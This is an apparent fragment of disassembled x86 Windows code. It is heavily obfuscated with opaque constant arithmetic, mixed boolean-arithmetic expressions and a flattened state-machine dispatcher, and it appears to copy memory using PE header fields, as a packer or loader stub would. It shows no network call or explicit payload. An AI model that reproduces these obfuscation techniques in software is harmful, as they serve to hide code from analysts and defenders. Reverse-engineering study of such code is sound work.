sub ecx, 0x209bd733
sub ecx, 0x1e1bfd78
add ecx, 0x209bd733
sub ecx, 0x42a751f3
sub ecx, eax
add ecx, 0x42a751f3
add ecx, 0xe26cfd14
add ecx, 0x1e1bfd78
sub ecx, 0xe26cfd14
sub edx, 0xfdbb04c3
sub edx, 0x568ebe2f
add edx, 0xfdbb04c3
mov eax, dword [ebp - 0x3b1c]
sub eax, edx
mov edx, dword [ebp - 0x3b1c]
sub edx, ecx
add eax, edx
mov ecx, dword [ebp - 0x3b1c]
sub ecx, eax
sub ecx, 0x5403e62c
add ecx, 0x568ebe2f
add ecx, 0x5403e62c
mov eax, dword [ebp - 0x3b1c]
sub eax, 0xdcbd5bb9
sub eax, 0x2d7f8182
add eax, 0xdcbd5bb9
mov edx, dword [ebp - 0x3b1c]
sub edx, ecx
add eax, edx
mov ecx, dword [ebp - 0x3b1c]
sub ecx, eax
mov eax, dword [ebp - 0x3b1c]
sub eax, 0x2d7f8182
add ecx, eax
mov eax, dword [ebp - 0x3b1c]
sub eax, ecx
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x90]
mov edx, dword [edx]
mov edx, dword [edx + 0x3c]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x80]
mov word [eax], 0
mov dword [ebp - 0xa8], 0x67bc0891
jmp 0x45c869
xor eax, eax
mov cx, ax
mov dx, 0x10fe
mov eax, dword [ebp - 0x80]
mov si, word [eax]
add dx, 0
sub dx, 0xb6ef
sub dx, 0x10fe
mov di, cx
sub di, 1
add dx, di
mov di, cx
sub di, 0xb6ef
sub dx, di
sub cx, 0xf40c
add si, cx
add si, 0x4fa7
sub si, dx
sub si, 0x4fa7
add si, 0x29db
add si, 0xf40c
sub si, 0x29db
mov eax, dword [ebp - 0x80]
mov word [eax], si
mov dword [ebp - 0xa8], 0xbbb45f89
jmp 0x45c869
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xa8], 0x93ddfbb5
mov dword [ebp - 0x3b28], eax
jmp 0x45c869
xor eax, eax
mov ecx, 0x4ab16bb5
mov edx, dword [ebp - 0x88]
mov edx, dword [edx]
mov esi, dword [ebp - 0x90]
mov esi, dword [esi]
mov esi, dword [esi + 0x68]
add edx, 0x1e40a1f4
sub edx, 0xb91773ad
sub edx, 0x1e40a1f4
add edx, 0x91707352
sub edx, 0x74842c59
sub edx, 0x91707352
mov edi, eax
sub edi, edx
mov edx, eax
sub edx, 0xb91773ad
add edi, edx
mov edx, eax
sub edx, edi
mov edi, eax
sub edi, 0x3dc3c0f5
sub edx, edi
sub edx, 0xa86370e5
add edx, esi
add edx, 0xa86370e5
sub edx, 0x6be25cd7
sub edx, 0x3dc3c0f5
add edx, 0x6be25cd7
add ecx, 0
sub ecx, edx
sub ecx, 0x4ab16bb5
mov edx, eax
sub edx, 0x74842c59
add edx, 0
sub ecx, 0xa2fe6061
add ecx, edx
add ecx, 0xa2fe6061
sub eax, 0x61ae7968
sub eax, ecx
add eax, 0x61ae7968
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov dword [ebp - 0xa8], 0x13bc0ac7
jmp 0x45c869
mov dword [ebp - 0xa8], 0x6355b2aa
jmp 0x45c869
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xa8], 0xe21654ea
mov dword [ebp - 0x3b3c], eax
jmp 0x45c869
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
add eax, 4
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
add eax, 4
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov dword [ebp - 0xa8], 0xcfe74100
jmp 0x45c869
mov dword [ebp - 0xa8], 0xa675d1bd
jmp 0x45c869
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xa8], 0x8ef2851b
mov dword [ebp - 0x3c04], eax
jmp 0x45c869
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xa8], 0xae42c5a7
mov dword [ebp - 0x3c0c], eax
jmp 0x45c869
xor eax, eax
mov ecx, 0xe4e7a197
mov edx, 0xe9064e5
mov esi, 0xc2205992
mov edi, 0x31dc3daa
mov ebx, 0xffffffff
mov dword [ebp - 0x3c10], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x3c14], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x3c18], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x3c1c], eax
xor eax, 0xffffffff
and eax, 0xffffffff
mov dword [ebp - 0x3c20], eax
mov eax, ebx
xor eax, 0xffffffff
mov dword [ebp - 0x3c24], eax
mov eax, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3c28], ecx
mov ecx, dword [ebp - 0x3c24]
and eax, ecx
mov ecx, dword [ebp - 0x3c20]
or ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xca979bf0
mov dword [ebp - 0x3c2c], eax
mov eax, ebx
xor eax, 0xca979bf0
mov dword [ebp - 0x3c30], eax
and eax, 0xffffffff
mov dword [ebp - 0x3c34], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xca979bf0
mov dword [ebp - 0x3c38], eax
mov eax, dword [ebp - 0x3c30]
and eax, 0xffffffff
mov dword [ebp - 0x3c3c], eax
mov eax, dword [ebp - 0x3c2c]
mov dword [ebp - 0x3c40], ecx
mov ecx, dword [ebp - 0x3c34]
or eax, ecx
mov ecx, dword [ebp - 0x3c38]
mov dword [ebp - 0x3c44], eax
mov eax, dword [ebp - 0x3c3c]
or ecx, eax
mov eax, dword [ebp - 0x3c44]
xor eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3c1c]
xor ecx, eax
mov eax, dword [ebp - 0x3c1c]
and ecx, eax
mov eax, dword [ebp - 0x3c40]
and eax, ecx
mov dword [ebp - 0x3c48], eax
mov eax, dword [ebp - 0x3c40]
xor eax, ecx
mov ecx, dword [ebp - 0x3c48]
or ecx, eax
mov eax, ebx
xor eax, 0xfff
and eax, 0x7659f866
mov dword [ebp - 0x3c4c], eax
mov eax, ebx
xor eax, 0x7659f866
mov dword [ebp - 0x3c50], eax
and eax, 0xfff
mov dword [ebp - 0x3c54], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x7659f866
mov dword [ebp - 0x3c58], eax
mov eax, dword [ebp - 0x3c50]
and eax, 0xffffffff
mov dword [ebp - 0x3c5c], eax
mov eax, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c60], ecx
mov ecx, dword [ebp - 0x3c54]
or eax, ecx
mov ecx, dword [ebp - 0x3c58]
mov dword [ebp - 0x3c64], eax
mov eax, dword [ebp - 0x3c5c]
or ecx, eax
mov eax, dword [ebp - 0x3c64]
xor eax, ecx
mov ecx, ebx
xor ecx, 0xb0864f46
xor eax, 0xffffffff
mov dword [ebp - 0x3c68], eax
mov eax, ebx
xor eax, 0x1f66ec0a
mov dword [ebp - 0x3c6c], eax
mov eax, dword [ebp - 0x3c68]
or ecx, eax
mov eax, dword [ebp - 0x3c6c]
or eax, 0x1f66ec0a
xor ecx, 0xffffffff
and ecx, eax
mov eax, ebx
xor eax, 0xb0864f46
and eax, 0xffffffff
mov dword [ebp - 0x3c70], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xb0864f46
mov dword [ebp - 0x3c74], eax
mov eax, dword [ebp - 0x3c70]
mov dword [ebp - 0x3c78], ecx
mov ecx, dword [ebp - 0x3c74]
or eax, ecx
mov ecx, ebx
xor ecx, 0xfff
mov dword [ebp - 0x3c7c], eax
xor eax, 0xffffffff
mov dword [ebp - 0x3c80], eax
mov eax, ebx
xor eax, 0xae3261af
mov dword [ebp - 0x3c84], eax
mov eax, dword [ebp - 0x3c80]
or ecx, eax
mov eax, dword [ebp - 0x3c84]
or eax, 0xae3261af
xor ecx, 0xffffffff
and ecx, eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xceb8069c
mov dword [ebp - 0x3c88], eax
mov eax, ebx
xor eax, 0xceb8069c
mov dword [ebp - 0x3c8c], eax
and eax, 0xffffffff
mov dword [ebp - 0x3c90], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xceb8069c
mov dword [ebp - 0x3c94], eax
mov eax, dword [ebp - 0x3c8c]
and eax, 0xffffffff
mov dword [ebp - 0x3c98], eax
mov eax, dword [ebp - 0x3c88]
mov dword [ebp - 0x3c9c], ecx
mov ecx, dword [ebp - 0x3c90]
or eax, ecx
mov ecx, dword [ebp - 0x3c94]
mov dword [ebp - 0x3ca0], eax
mov eax, dword [ebp - 0x3c98]
or ecx, eax
mov eax, dword [ebp - 0x3ca0]
xor eax, ecx
mov ecx, ebx
xor ecx, 0xb0864f46
mov dword [ebp - 0x3ca4], eax
xor eax, ecx
mov ecx, dword [ebp - 0x3ca4]
and eax, ecx
mov ecx, dword [ebp - 0x3c7c]
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov dword [ebp - 0x3ca8], eax
mov eax, dword [ebp - 0x3c78]
xor eax, 0xffffffff
mov dword [ebp - 0x3cac], eax
mov eax, dword [ebp - 0x3c9c]
xor eax, 0xffffffff
mov dword [ebp - 0x3cb0], eax
mov eax, ebx
xor eax, 0x1778e391
mov dword [ebp - 0x3cb4], eax
mov eax, dword [ebp - 0x3cac]
and eax, 0x1778e391
mov dword [ebp - 0x3cb8], eax
mov eax, dword [ebp - 0x3c78]
mov dword [ebp - 0x3cbc], ecx
mov ecx, dword [ebp - 0x3cb4]
and eax, ecx
mov ecx, dword [ebp - 0x3cb0]
and ecx, 0x1778e391
mov dword [ebp - 0x3cc0], eax
mov eax, dword [ebp - 0x3c9c]
mov dword [ebp - 0x3cc4], ecx
mov ecx, dword [ebp - 0x3cb4]
and eax, ecx
mov ecx, dword [ebp - 0x3cb8]
mov dword [ebp - 0x3cc8], eax
mov eax, dword [ebp - 0x3cc0]
or ecx, eax
mov eax, dword [ebp - 0x3cc4]
mov dword [ebp - 0x3ccc], ecx
mov ecx, dword [ebp - 0x3cc8]
or eax, ecx
mov ecx, dword [ebp - 0x3ccc]
xor ecx, eax
mov eax, dword [ebp - 0x3cac]
mov dword [ebp - 0x3cd0], ecx
mov ecx, dword [ebp - 0x3cb0]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3cb4]
or ecx, 0x1778e391
and eax, ecx
mov ecx, dword [ebp - 0x3cd0]
or ecx, eax
mov eax, dword [ebp - 0x3ca8]
xor eax, 0xffffffff
mov dword [ebp - 0x3cd4], eax
mov eax, dword [ebp - 0x3cbc]
xor eax, 0xffffffff
mov dword [ebp - 0x3cd8], eax
mov eax, ebx
xor eax, 0x21d52f57
mov dword [ebp - 0x3cdc], eax
mov eax, dword [ebp - 0x3cd4]
and eax, 0x21d52f57
mov dword [ebp - 0x3ce0], eax
mov eax, dword [ebp - 0x3ca8]
mov dword [ebp - 0x3ce4], ecx
mov ecx, dword [ebp - 0x3cdc]
and eax, ecx
mov ecx, dword [ebp - 0x3cd8]
and ecx, 0x21d52f57
mov dword [ebp - 0x3ce8], eax
mov eax, dword [ebp - 0x3cbc]
mov dword [ebp - 0x3cec], ecx
mov ecx, dword [ebp - 0x3cdc]
and eax, ecx
mov ecx, dword [ebp - 0x3ce0]
mov dword [ebp - 0x3cf0], eax
mov eax, dword [ebp - 0x3ce8]
or ecx, eax
mov eax, dword [ebp - 0x3cec]
mov dword [ebp - 0x3cf4], ecx
mov ecx, dword [ebp - 0x3cf0]
or eax, ecx
mov ecx, dword [ebp - 0x3cf4]
xor ecx, eax
mov eax, dword [ebp - 0x3cd4]
mov dword [ebp - 0x3cf8], ecx
mov ecx, dword [ebp - 0x3cd8]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3cdc]
or ecx, 0x21d52f57
and eax, ecx
mov ecx, dword [ebp - 0x3cf8]
or ecx, eax
mov eax, dword [ebp - 0x3ce4]
xor eax, 0xffffffff
and eax, 0x40a75c64
mov dword [ebp - 0x3cfc], eax
mov eax, ebx
xor eax, 0x40a75c64
mov dword [ebp - 0x3d00], eax
mov eax, dword [ebp - 0x3ce4]
mov dword [ebp - 0x3d04], ecx
mov ecx, dword [ebp - 0x3d00]
and eax, ecx
mov ecx, dword [ebp - 0x3d04]
xor ecx, 0xffffffff
and ecx, 0x40a75c64
mov dword [ebp - 0x3d08], eax
mov eax, dword [ebp - 0x3d04]
mov dword [ebp - 0x3d0c], ecx
mov ecx, dword [ebp - 0x3d00]
and eax, ecx
mov ecx, dword [ebp - 0x3cfc]
mov dword [ebp - 0x3d10], eax
mov eax, dword [ebp - 0x3d08]
or ecx, eax
mov eax, dword [ebp - 0x3d0c]
mov dword [ebp - 0x3d14], ecx
mov ecx, dword [ebp - 0x3d10]
or eax, ecx
mov ecx, dword [ebp - 0x3d14]
xor ecx, eax
mov eax, ebx
xor eax, 0x713696fb
and eax, 0xffffffff
mov dword [ebp - 0x3d18], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x713696fb
mov dword [ebp - 0x3d1c], eax
mov eax, dword [ebp - 0x3d18]
mov dword [ebp - 0x3d20], ecx
mov ecx, dword [ebp - 0x3d1c]
or eax, ecx
mov ecx, ebx
xor ecx, 0x97f6ebc1
xor eax, 0xffffffff
mov dword [ebp - 0x3d24], eax
mov eax, ebx
xor eax, 0x9c2b89d8
mov dword [ebp - 0x3d28], eax
mov eax, dword [ebp - 0x3d24]
or ecx, eax
mov eax, dword [ebp - 0x3d28]
or eax, 0x9c2b89d8
xor ecx, 0xffffffff
and ecx, eax
mov eax, ebx
xor eax, 0x97f6ebc1
and eax, 0xffffffff
mov dword [ebp - 0x3d2c], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x97f6ebc1
mov dword [ebp - 0x3d30], eax
mov eax, dword [ebp - 0x3d2c]
mov dword [ebp - 0x3d34], ecx
mov ecx, dword [ebp - 0x3d30]
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor ecx, 0x713696fb
and ecx, 0x713696fb
mov dword [ebp - 0x3d38], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xb18e0c07
mov dword [ebp - 0x3d3c], eax
mov eax, ebx
xor eax, 0xb18e0c07
mov dword [ebp - 0x3d40], eax
and eax, 0xffffffff
mov dword [ebp - 0x3d44], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xb18e0c07
mov dword [ebp - 0x3d48], eax
mov eax, dword [ebp - 0x3d40]
and eax, 0xffffffff
mov dword [ebp - 0x3d4c], eax
mov eax, dword [ebp - 0x3d3c]
mov dword [ebp - 0x3d50], ecx
mov ecx, dword [ebp - 0x3d44]
or eax, ecx
mov ecx, dword [ebp - 0x3d48]
mov dword [ebp - 0x3d54], eax
mov eax, dword [ebp - 0x3d4c]
or ecx, eax
mov eax, dword [ebp - 0x3d54]
xor eax, ecx
mov ecx, ebx
xor ecx, 0x97f6ebc1
mov dword [ebp - 0x3d58], eax
xor eax, ecx
mov ecx, dword [ebp - 0x3d58]
and eax, ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov dword [ebp - 0x3d5c], eax
mov eax, dword [ebp - 0x3d38]
xor eax, 0xffffffff
mov dword [ebp - 0x3d60], eax
mov eax, ebx
xor eax, 0xdfe214a4
mov dword [ebp - 0x3d64], eax
mov eax, dword [ebp - 0x3d60]
or ecx, eax
mov eax, dword [ebp - 0x3d64]
or eax, 0xdfe214a4
xor ecx, 0xffffffff
and ecx, eax
mov eax, dword [ebp - 0x3d34]
mov dword [ebp - 0x3d68], ecx
mov ecx, dword [ebp - 0x3d50]
and eax, ecx
mov ecx, dword [ebp - 0x3d34]
mov dword [ebp - 0x3d6c], eax
mov eax, dword [ebp - 0x3d50]
xor ecx, eax
mov eax, dword [ebp - 0x3d6c]
or eax, ecx
mov ecx, dword [ebp - 0x3d5c]
xor ecx, 0xffffffff
mov dword [ebp - 0x3d70], eax
mov eax, dword [ebp - 0x3d68]
xor eax, 0xffffffff
mov dword [ebp - 0x3d74], eax
mov eax, ebx
xor eax, 0xde99db9e
mov dword [ebp - 0x3d78], eax
mov eax, ecx
and eax, 0xde99db9e
mov dword [ebp - 0x3d7c], eax
mov eax, dword [ebp - 0x3d5c]
mov dword [ebp - 0x3d80], ecx
mov ecx, dword [ebp - 0x3d78]
and eax, ecx
mov ecx, dword [ebp - 0x3d74]
and ecx, 0xde99db9e
mov dword [ebp - 0x3d84], eax
mov eax, dword [ebp - 0x3d68]
mov dword [ebp - 0x3d88], ecx
mov ecx, dword [ebp - 0x3d78]
and eax, ecx
mov ecx, dword [ebp - 0x3d7c]
mov dword [ebp - 0x3d8c], eax
mov eax, dword [ebp - 0x3d84]
or ecx, eax
mov eax, dword [ebp - 0x3d88]
mov dword [ebp - 0x3d90], ecx
mov ecx, dword [ebp - 0x3d8c]
or eax, ecx
mov ecx, dword [ebp - 0x3d90]
xor ecx, eax
mov eax, dword [ebp - 0x3d80]
mov dword [ebp - 0x3d94], ecx
mov ecx, dword [ebp - 0x3d74]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3d78]
or ecx, 0xde99db9e
and eax, ecx
mov ecx, dword [ebp - 0x3d94]
or ecx, eax
mov eax, dword [ebp - 0x3d70]
xor eax, 0xffffffff
mov dword [ebp - 0x3d98], eax
mov eax, ecx
mov dword [ebp - 0x3d9c], ecx
mov ecx, dword [ebp - 0x3d98]
and eax, ecx
mov ecx, dword [ebp - 0x3d9c]
xor ecx, 0xffffffff
mov dword [ebp - 0x3da0], eax
mov eax, dword [ebp - 0x3d70]
and eax, ecx
mov ecx, dword [ebp - 0x3da0]
or ecx, eax
mov eax, dword [ebp - 0x3c60]
xor eax, 0xffffffff
and eax, 0xffffffff
mov dword [ebp - 0x3da4], eax
mov eax, ebx
xor eax, 0xffffffff
mov dword [ebp - 0x3da8], eax
mov eax, dword [ebp - 0x3c60]
mov dword [ebp - 0x3dac], ecx
mov ecx, dword [ebp - 0x3da8]
and eax, ecx
mov ecx, dword [ebp - 0x3da4]
or ecx, eax
mov eax, dword [ebp - 0x3d20]
xor eax, 0xffffffff
and eax, 0xb0c58436
mov dword [ebp - 0x3db0], eax
mov eax, ebx
xor eax, 0xb0c58436
mov dword [ebp - 0x3db4], eax
mov eax, dword [ebp - 0x3d20]
mov dword [ebp - 0x3db8], ecx
mov ecx, dword [ebp - 0x3db4]
and eax, ecx
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, 0xb0c58436
mov dword [ebp - 0x3dbc], eax
mov eax, dword [ebp - 0x3db4]
and eax, 0xffffffff
mov dword [ebp - 0x3dc0], eax
mov eax, dword [ebp - 0x3db0]
mov dword [ebp - 0x3dc4], ecx
mov ecx, dword [ebp - 0x3dbc]
or eax, ecx
mov ecx, dword [ebp - 0x3dc4]
mov dword [ebp - 0x3dc8], eax
mov eax, dword [ebp - 0x3dc0]
or ecx, eax
mov eax, dword [ebp - 0x3dc8]
xor eax, ecx
mov ecx, ebx
xor ecx, 0x339eeb4d
and ecx, 0xffffffff
mov dword [ebp - 0x3dcc], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x339eeb4d
or ecx, eax
mov eax, ebx
xor eax, 0x339eeb4d
mov dword [ebp - 0x3dd0], eax
mov eax, dword [ebp - 0x3db8]
mov dword [ebp - 0x3dd4], ecx
mov ecx, dword [ebp - 0x3dd0]
xor eax, ecx
mov ecx, dword [ebp - 0x3db8]
and eax, ecx
mov ecx, dword [ebp - 0x3c60]
xor ecx, 0xffffffff
mov dword [ebp - 0x3dd8], eax
mov eax, dword [ebp - 0x3dd4]
xor eax, 0xffffffff
mov dword [ebp - 0x3ddc], eax
mov eax, ebx
xor eax, 0xa1a71676
mov dword [ebp - 0x3de0], eax
mov eax, dword [ebp - 0x3ddc]
or ecx, eax
mov eax, dword [ebp - 0x3de0]
or eax, 0xa1a71676
xor ecx, 0xffffffff
and ecx, eax
mov eax, ebx
xor eax, 0x339eeb4d
mov dword [ebp - 0x3de4], eax
mov eax, dword [ebp - 0x3dcc]
mov dword [ebp - 0x3de8], ecx
mov ecx, dword [ebp - 0x3de4]
xor eax, ecx
mov ecx, dword [ebp - 0x3dcc]
and eax, ecx
mov ecx, dword [ebp - 0x3dd4]
xor ecx, 0xffffffff
mov dword [ebp - 0x3dec], eax
mov eax, dword [ebp - 0x3d20]
xor eax, ecx
mov ecx, dword [ebp - 0x3d20]
and eax, ecx
mov ecx, dword [ebp - 0x3dd8]
mov dword [ebp - 0x3df0], eax
mov eax, dword [ebp - 0x3de8]
and ecx, eax
mov eax, dword [ebp - 0x3dd8]
mov dword [ebp - 0x3df4], ecx
mov ecx, dword [ebp - 0x3de8]
xor eax, ecx
mov ecx, dword [ebp - 0x3df4]
or ecx, eax
mov eax, dword [ebp - 0x3dec]
xor eax, 0xffffffff
mov dword [ebp - 0x3df8], eax
mov eax, dword [ebp - 0x3df0]
xor eax, 0xffffffff
mov dword [ebp - 0x3dfc], eax
mov eax, ebx
xor eax, 0xf2cc1146
mov dword [ebp - 0x3e00], eax
mov eax, dword [ebp - 0x3df8]
and eax, 0xf2cc1146
mov dword [ebp - 0x3e04], eax
mov eax, dword [ebp - 0x3dec]
mov dword [ebp - 0x3e08], ecx
mov ecx, dword [ebp - 0x3e00]
and eax, ecx
mov ecx, dword [ebp - 0x3dfc]
and ecx, 0xf2cc1146
mov dword [ebp - 0x3e0c], eax
mov eax, dword [ebp - 0x3df0]
mov dword [ebp - 0x3e10], ecx
mov ecx, dword [ebp - 0x3e00]
and eax, ecx
mov ecx, dword [ebp - 0x3e04]
mov dword [ebp - 0x3e14], eax
mov eax, dword [ebp - 0x3e0c]
or ecx, eax
mov eax, dword [ebp - 0x3e10]
mov dword [ebp - 0x3e18], ecx
mov ecx, dword [ebp - 0x3e14]
or eax, ecx
mov ecx, dword [ebp - 0x3e18]
xor ecx, eax
mov eax, dword [ebp - 0x3df8]
mov dword [ebp - 0x3e1c], ecx
mov ecx, dword [ebp - 0x3dfc]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3e00]
or ecx, 0xf2cc1146
and eax, ecx
mov ecx, dword [ebp - 0x3e1c]
or ecx, eax
mov eax, dword [ebp - 0x3e08]
xor eax, 0xffffffff
and eax, 0xb2ebda62
mov dword [ebp - 0x3e20], eax
mov eax, ebx
xor eax, 0xb2ebda62
mov dword [ebp - 0x3e24], eax
mov eax, dword [ebp - 0x3e08]
mov dword [ebp - 0x3e28], ecx
mov ecx, dword [ebp - 0x3e24]
and eax, ecx
mov ecx, dword [ebp - 0x3e28]
xor ecx, 0xffffffff
and ecx, 0xb2ebda62
mov dword [ebp - 0x3e2c], eax
mov eax, dword [ebp - 0x3e28]
mov dword [ebp - 0x3e30], ecx
mov ecx, dword [ebp - 0x3e24]
and eax, ecx
mov ecx, dword [ebp - 0x3e20]
mov dword [ebp - 0x3e34], eax
mov eax, dword [ebp - 0x3e2c]
or ecx, eax
mov eax, dword [ebp - 0x3e30]
mov dword [ebp - 0x3e38], ecx
mov ecx, dword [ebp - 0x3e34]
or eax, ecx
mov ecx, dword [ebp - 0x3e38]
xor ecx, eax
mov eax, dword [ebp - 0x3db8]
mov dword [ebp - 0x3e3c], ecx
mov ecx, dword [ebp - 0x3dcc]
and eax, ecx
mov ecx, dword [ebp - 0x3db8]
mov dword [ebp - 0x3e40], eax
mov eax, dword [ebp - 0x3dcc]
xor ecx, eax
mov eax, dword [ebp - 0x3e40]
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov dword [ebp - 0x3e44], eax
mov eax, ebx
xor eax, 0xffffffff
mov dword [ebp - 0x3e48], eax
mov eax, dword [ebp - 0x3e44]
mov dword [ebp - 0x3e4c], ecx
mov ecx, dword [ebp - 0x3e48]
and eax, ecx
mov ecx, dword [ebp - 0x3e4c]
or ecx, eax
mov eax, dword [ebp - 0x3dd4]
and eax, 0x339eeb4d
mov dword [ebp - 0x3e50], eax
mov eax, dword [ebp - 0x3dd4]
xor eax, 0x339eeb4d
mov dword [ebp - 0x3e54], eax
mov eax, dword [ebp - 0x3e50]
mov dword [ebp - 0x3e58], ecx
mov ecx, dword [ebp - 0x3e54]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3e58]
xor ecx, eax
mov eax, dword [ebp - 0x3e58]
and ecx, eax
mov eax, dword [ebp - 0x3e3c]
xor eax, 0xffffffff
mov dword [ebp - 0x3e5c], eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x3e60], eax
mov eax, ebx
xor eax, 0x728415e
mov dword [ebp - 0x3e64], eax
mov eax, dword [ebp - 0x3e5c]
and eax, 0x728415e
mov dword [ebp - 0x3e68], eax
mov eax, dword [ebp - 0x3e3c]
mov dword [ebp - 0x3e6c], ecx
mov ecx, dword [ebp - 0x3e64]
and eax, ecx
mov ecx, dword [ebp - 0x3e60]
and ecx, 0x728415e
mov dword [ebp - 0x3e70], eax
mov eax, dword [ebp - 0x3e6c]
mov dword [ebp - 0x3e74], ecx
mov ecx, dword [ebp - 0x3e64]
and eax, ecx
mov ecx, dword [ebp - 0x3e68]
mov dword [ebp - 0x3e78], eax
mov eax, dword [ebp - 0x3e70]
or ecx, eax
mov eax, dword [ebp - 0x3e74]
mov dword [ebp - 0x3e7c], ecx
mov ecx, dword [ebp - 0x3e78]
or eax, ecx
mov ecx, dword [ebp - 0x3e7c]
xor ecx, eax
mov eax, dword [ebp - 0x3e5c]
mov dword [ebp - 0x3e80], ecx
mov ecx, dword [ebp - 0x3e60]
or eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x3e64]
or ecx, 0x728415e
and eax, ecx
mov ecx, dword [ebp - 0x3e80]
or ecx, eax
mov eax, ebx
xor eax, 0x713696fb
and eax, 0x94c329c1
mov dword [ebp - 0x3e84], eax
mov eax, ebx
xor eax, 0x94c329c1
mov dword [ebp - 0x3e88], eax
and eax, 0x713696fb
mov dword [ebp - 0x3e8c], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x94c329c1
mov dword [ebp - 0x3e90], eax
mov eax, dword [ebp - 0x3e88]
and eax, 0xffffffff
mov dword [ebp - 0x3e94], eax
mov eax, dword [ebp - 0x3e84]
mov dword [ebp - 0x3e98], ecx
mov ecx, dword [ebp - 0x3e8c]
or eax, ecx
mov ecx, dword [ebp - 0x3e90]
mov dword [ebp - 0x3e9c], eax
mov eax, dword [ebp - 0x3e94]
or ecx, eax
mov eax, dword [ebp - 0x3e9c]
xor eax, ecx
mov ecx, dword [ebp - 0x3dac]
xor ecx, 0xffffffff
and ecx, 0xd50bf3ab
mov dword [ebp - 0x3ea0], eax
mov eax, ebx
xor eax, 0xd50bf3ab
mov dword [ebp - 0x3ea4], eax
mov eax, dword [ebp - 0x3dac]
mov dword [ebp - 0x3ea8], ecx
mov ecx, dword [ebp - 0x3ea4]
and eax, ecx
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, 0xd50bf3ab
mov dword [ebp - 0x3eac], eax
mov eax, dword [ebp - 0x3ea4]
and eax, 0xffffffff
mov dword [ebp - 0x3eb0], eax
mov eax, dword [ebp - 0x3ea8]
mov dword [ebp - 0x3eb4], ecx
mov ecx, dword [ebp - 0x3eac]
or eax, ecx
mov ecx, dword [ebp - 0x3eb4]
mov dword [ebp - 0x3eb8], eax
mov eax, dword [ebp - 0x3eb0]
or ecx, eax
mov eax, dword [ebp - 0x3eb8]
xor eax, ecx
mov ecx, ebx
xor ecx, 0x7a98ecac
and ecx, 0xa9003173
mov dword [ebp - 0x3ebc], eax
mov eax, ebx
xor eax, 0xa9003173
mov dword [ebp - 0x3ec0], eax
and eax, 0x7a98ecac
mov dword [ebp - 0x3ec4], eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xa9003173
mov dword [ebp - 0x3ec8], eax
mov eax, dword [ebp - 0x3ec0]
and eax, 0xffffffff
mov dword [ebp - 0x3ecc], eax
mov eax, dword [ebp - 0x3ec4]
or ecx, eax
mov eax, dword [ebp - 0x3ec8]
mov dword [ebp - 0x3ed0], ecx
mov ecx, dword [ebp - 0x3ecc]
or eax, ecx
mov ecx, dword [ebp - 0x3ed0]
xor ecx, eax
mov eax, dword [ebp - 0x3ea0]
xor eax, 0xffffffff
mov dword [ebp - 0x3ed4], eax
mov eax, ebx
xor eax, 0x7a98ecac
mov dword [ebp - 0x3ed8], eax
mov eax, ebx
xor eax, 0x8557a335
mov dword [ebp - 0x3edc], eax
mov eax, dword [ebp - 0x3ed4]
mov dword [ebp - 0x3ee0], ecx
mov ecx, dword [ebp - 0x3ed8]
or eax, ecx
mov ecx, dword [ebp - 0x3edc]
or ecx, 0x8557a335
xor eax, 0xffffffff
and eax, ecx
mov ecx, dword [ebp - 0x3ee0]
xor ecx, 0xffffffff
xor ecx, 0x713696fb
and ecx, 0x713696fb
mov dword [ebp - 0x3ee4], eax
mov eax, ebx
xor eax, 0x7a98ecac
mov dword [ebp - 0x3ee8], eax
mov eax, dword [ebp - 0x3ebc]
mov dword [ebp - 0x3eec], ecx
mov ecx, dword [ebp - 0x3ee8]
xor eax, ecx
mov ecx, dword [ebp - 0x3ebc]
and eax, ecx
